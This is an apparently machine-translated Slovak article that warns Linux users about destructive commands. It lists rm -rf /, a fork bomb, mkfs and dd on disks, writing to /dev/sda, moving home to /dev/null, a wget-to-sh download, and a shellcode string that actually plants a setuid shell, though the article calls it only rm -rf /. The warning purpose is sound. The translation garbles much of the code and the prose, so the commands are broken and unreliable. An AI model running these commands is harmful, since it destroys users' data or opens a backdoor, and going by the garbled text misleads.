8 Smrteľné príkazy Nikdy by ste nemali používať Linux
Príkazy terminálu Linuxu sú silné a Linux vás nepotrebuje na potvrdenie, ak spustíte príkaz, ktorý naruší váš systém. Nie je nezvyčajné vidieť trolls on-line odporúča novým užívateľom Linux spustiť tieto príkazy ako vtip.
Učenie príkazov, ktoré by ste nemali spustiť, vám môžu pomôcť chrániť vás pred trolls a zároveň zvýšiť vaše pochopenie toho, ako funguje Linux. Toto nie je vyčerpávajúci sprievodca a príkazy tu môžu byť remixované rôznymi spôsobmi.
Upozorňujeme, že mnohé z týchto príkazov budú nebezpečné iba vtedy, ak budú predpísané sudo na Ubuntu - nebudú fungovať inak. Na iných distribuciách Linuxu musí byť väčšina príkazov spustená ako root.
Image Credit: Skull and Crossbones remixoval od Jasona Forda na Twitteri
rm -rf / - Odstráni všetko!
Príkaz rm -rf / odstráni všetko možné, vrátane súborov na pevnom disku a súborov na pripojených zariadeniach s vymeniteľnými médiami. Tento príkaz je pochopiteľnejší, ak je rozdelený:
rm - Odstráňte nasledujúce súbory.
-rf - Spustite rm rekurzívne (odstráňte všetky súbory a priečinky vo vnútri určeného priečinka) a vynútené odstránenie všetkých súborov bez výzvy.
/ - Informuje rm, aby sa spustil v koreňovom adresári, ktorý obsahuje všetky súbory na vašom počítači a všetky pripojené mediálne zariadenia, vrátane zdieľaných súborov a vymeniteľných diskov.
Linux bude s radosťou poslúchať tento príkaz a vymazať všetko bez toho, aby vás vyzval, takže buďte opatrní pri jeho použití! Príkaz rm možno použiť aj inými nebezpečnými spôsobmi - rm -rf ~ by odstránili všetky súbory vo vašom domovskom priečinku rm -rf. * by odstránili všetky vaše konfiguračné súbory.
Hodina, lekcia: Dajte si pozor rm -rf.
Skrytý rm -rf /
Tu je ďalší útržok kódu, ktorý sa nachádza po celom webe:
char esp [] __attribute__ ((sekcia (".text"))) / * e.s.p
uvoľnenie * /
= "\ Xeb \ x3 \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ XFF \ XFF \ XFF \ XFF \ X68 \ XDF \ xd0 \ XDF \ xd9 \ X68 \ x8d \ x99"
"\ XDF \ X81 \ X68 \ x8d \ X92 \ XDF \ XD2 \ X54 \ x5e \ XF7 \ x16 \ XF7"
"\ X56 \ X04 \ XF7 \ X56 \ X08 \ XF7 \ X56 \ x0c \ X83 \ XC4 \ X74 \ X56"
"\ X8d \ X73 \ X08 \ X56 \ X53 \ X54 \ X59 \ xb0 \ x0b \ XCD \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ XFF \ XFF \ XFF \ x2f \ X62 \ x69"
"\ X6e \ x2f \ X73 \ X68 \ x00 \ x2d \ X63 \ x00"
"Cp -p / bin / sh /tmp/. chmod 4755
/tmp/.beyond; "
Toto je hexadecimálna verzia rm -rf / - vykonanie tohto príkazu by zničil vaše súbory rovnako ako keby ste spustili rm -rf /.
Hodina, lekcia: Nepoužívajte divne vyzerajúce, zjavne skryté príkazy, ktoré nerozumiete.
: () : |: & ;: - Vidlicová bomba
Nasledujúci riadok je jednoducho vyzerajúci, ale nebezpečný bash funkcia:
: () : |: & ;:
Tento krátky riadok definuje funkciu shell, ktorá vytvára nové kópie. Proces sa neustále replikuje a jeho kópie sa nepretržite replikujú a rýchlo zaberajú celý čas a pamäť CPU. Môže to spôsobiť zmrazenie počítača. Je to v podstate útok na odmietnutie služby.
Hodina, lekcia: Funkcie basov sú mocné, dokonca aj veľmi krátke.
Image Credit: Dake na Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formátuje pevný disk
mkfs.ext4 / dev / sda1 príkaz je jednoduchý na pochopenie:
mkfs.ext4 - Vytvorte nový súborový systém ext4 na nasledujúcom zariadení.
/ Dev / sda1 - Určuje prvú oblasť na prvom pevnom disku, ktorá sa pravdepodobne používa.
Súhrnne môže byť tento príkaz ekvivalentný bežiacemu formátu c: v systéme Windows - vymazanie súborov na prvom oddieli a ich nahradenie novým systémom súborov.
Tento príkaz môže prísť aj v iných formách - mkfs.ext3 / dev / sdb2 by formátoval druhý oddiel na druhom pevnom disku s súborovým systémom ext3.
Hodina, lekcia: Dbajte na spustenie príkazov priamo na zariadeniach pevného disku, ktoré začínajú na / dev / sd.
command> / dev / sda - píše priamo na pevný disk
príkaz> dev / sda line pracuje podobne - spúšťa príkaz a odošle výstup tohto príkazu priamo na váš prvý pevný disk, zapíše údaje priamo na pevný disk a poškodí váš súborový systém.
príkaz - Spustite príkaz (môže to byť akýkoľvek príkaz.)
> - Odošlite výstup príkazu na nasledujúce miesto.
/ Dev / sda - Napíšte výstup príkazu priamo na zariadenie s pevným diskom.
Hodina, lekcia: Ako je uvedené vyššie, dajte si pozor na spustenie príkazov, ktoré zahŕňajú zariadenia pevného disku začínajúce na / dev / sd.
dd if = / dev / random of = / dev / sda - Nahrávanie nevyžiadanej pošty na pevný disk
dd, ak = / dev / náhodne = / dev / sda line tiež vymazanie údajov na jednom z vašich pevných diskov.
dd - Vykonajte kopírovanie na nižšej úrovni z jedného miesta na druhé.
if = / dev / random - Použite / dev / random (náhodné dáta) ako vstup - môžete tiež vidieť lokality ako / dev / nula (nuly).
z = / dev / sda - Výstup na prvý pevný disk, nahrádzanie jeho súborového systému s náhodnými dátami odpadkov.
Hodina, lekcia: dd kopíruje údaje z jedného miesta do druhého, čo môže byť nebezpečné, ak kopírujete priamo na zariadenie.
Image Credit: Matt Rudge na Flickr
mv ~ / dev / null - presunie váš domovský adresár do čiernej diery
/ dev / null je ďalšia špeciálna poloha - presunutie niečoho do / dev / null je to isté ako jeho zničenie. Premýšľajte o / dev / null ako čiernej diere. v podstate, mv ~ / dev / null odosiela všetky vaše osobné súbory do čiernej diery.
mv - Presuňte nasledujúci súbor alebo adresár na iné miesto.
~ - Reprezentuje celý domovský priečinok.
/ Dev / null - Presuňte svoj domovský priečinok na / dev / null, zničíte všetky súbory a vymažete originálne kópie.
Hodina, lekcia: ~ Znak predstavuje vašu domácu zložku a presunutie vecí na / dev / null ich zničí.
wget http://example.com/something -O - | sh - Sťahuje a spúšťa skript
Vyššie uvedený riadok preberá skript z webu a pošle ho na sh, ktorý spustí obsah skriptu. To môže byť nebezpečné, ak si nie ste istí, čo je skript, alebo ak neveríte jeho zdroju - nespúšťajte nedôveryhodné skripty.
wget - Stiahne súbor. (Môžete tiež vidieť vlnitý namiesto wget.)
http://example.com/something - Prevezmite súbor z tohto miesta.
| - Pipe (odoslať) výstup príkazu wget (stiahnutý súbor) priamo do iného príkazu.
sh - Odošlite súbor príkazu sh, ktorý ho vykoná, ak je to bash skript.
Hodina, lekcia: Neťahajte a nespúšťajte nedôveryhodné skripty z webu, a to ani s príkazom.
Poznáte všetky ďalšie nebezpečné príkazy, ktoré by noví používatelia Linuxu (a skúsení) nemali používať? Zanechajte komentár a zdieľajte ho!